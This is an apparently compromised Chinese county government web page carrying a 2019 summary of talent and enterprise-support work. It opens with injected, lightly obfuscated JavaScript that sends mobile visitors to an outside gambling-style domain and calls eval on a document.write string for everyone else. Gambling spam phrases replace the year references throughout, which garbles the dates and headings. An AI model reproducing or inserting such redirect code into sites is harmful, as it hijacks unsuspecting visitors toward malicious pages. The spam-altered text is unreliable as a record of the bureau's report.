function moble(){ var ss = '
'; if ((navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i))) { window.location.href = "http://fd699.vip" }else{ eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');"); } } moble();


上海快三计划 > 庐江县经济和信息化局 > 监督保障 > 工作推进

县经信局上海快三度人才工作总结

发布时间: 2019-12-23 08:40 编辑:县经信局
【字体:  

上海快三,县经信局紧紧围绕全县人才工作要求,认真履行成员单位工作职责,切实把人才工作作为服务企业和促进庐江经济发展的重要推动力量,现将上海快三人才工作开展情况总结汇报如下:

一、强化组织领导,狠抓工作落实

县经信局严格按照《上海快三全县人才工作要点》文件精神,认真落实县委、县政府下达的各项人才工作任务,把人才工作作为服务企业发展和促进庐江经济发展的重要推动力,不断强化班子和全局干部思想认识,确立了一把手全面负责,分管领导牵头负责,科室专人具体负责的工作机制,将年度人才工作目标进行分解,注重加强调度和协调配合,先后多次召开会议,研究部署讨论人才工作,形成了人才工作有人管、有人抓、有人干的工作局面,有力推进了企业人才队伍建设。

机关干部通过学习党的十九大精神、习总书记系列重要讲话和最新讲话精神、中央省市县各级经济工作会议精神,不断提高理论水平。加强业务学习提高业务工作能力和水平。

二、强化人才政策落实,着力服务企业发展

(一)积极组织企业申报各类人才项目

推荐计宝林申报省工艺美术大师,获得奖补资金50万元;组织县工业政策奖补,人才引进奖补共27.88万元。


(二)
帮助企业做好人才引进工作

发放第一批次产业紧缺人才第二年度补贴资金12万元,上海快三度申报上海快三计划市产业紧缺人才引进资助共10人,目前已公示结束。


(三)
加强企业培训工作

 组织企业参加省、市“专精特新”中小企业高级管理人员培训班、“隐形冠军”企业高级管理人才赴美学习、上海快三全省产业集群专业镇建设培训班、上海快三计划市上海快三度赛飞创业辅导师培训班、上海快三计划市工业互联网专题培训班、上海快三计划市“专精特新”中小企业精益管理提升培训班、上海快三计划市全面质量管理培训班、脑智能前沿科技与实体经济融合应用探索专题培训班等,推荐优秀企业家赴美国、德国、日本、以色列等国家培训

三、存在的问题

企业对人才政策了解不够我县企业大部分规模较小,企业管理不规范,人事主要抓招工,老板主要抓生产,对于人才政策不用心、不留意,甚至不关注,申报政策不积极,导致部分政策落实不到位。

四、下一步打算

一是进一步加强企业人才队伍工作。积极引导企业在引进高素质人才的同时,注重培养、提高现有人才能力素质,不断优化人才队伍结构,探索“吸引人才、留住人才”的有效途径,建立健全符合企业实际的激励机制、培训机制和人才流动机制。

    二是注重高级经营管理人才培养。进一步建立健全人才工作制度,积极创造条件加大人才培养力度,为庐江县工业经济持续快速健康发展提供人才支撑。

 

 

庐江县经济和信息化局

上海快三12月23日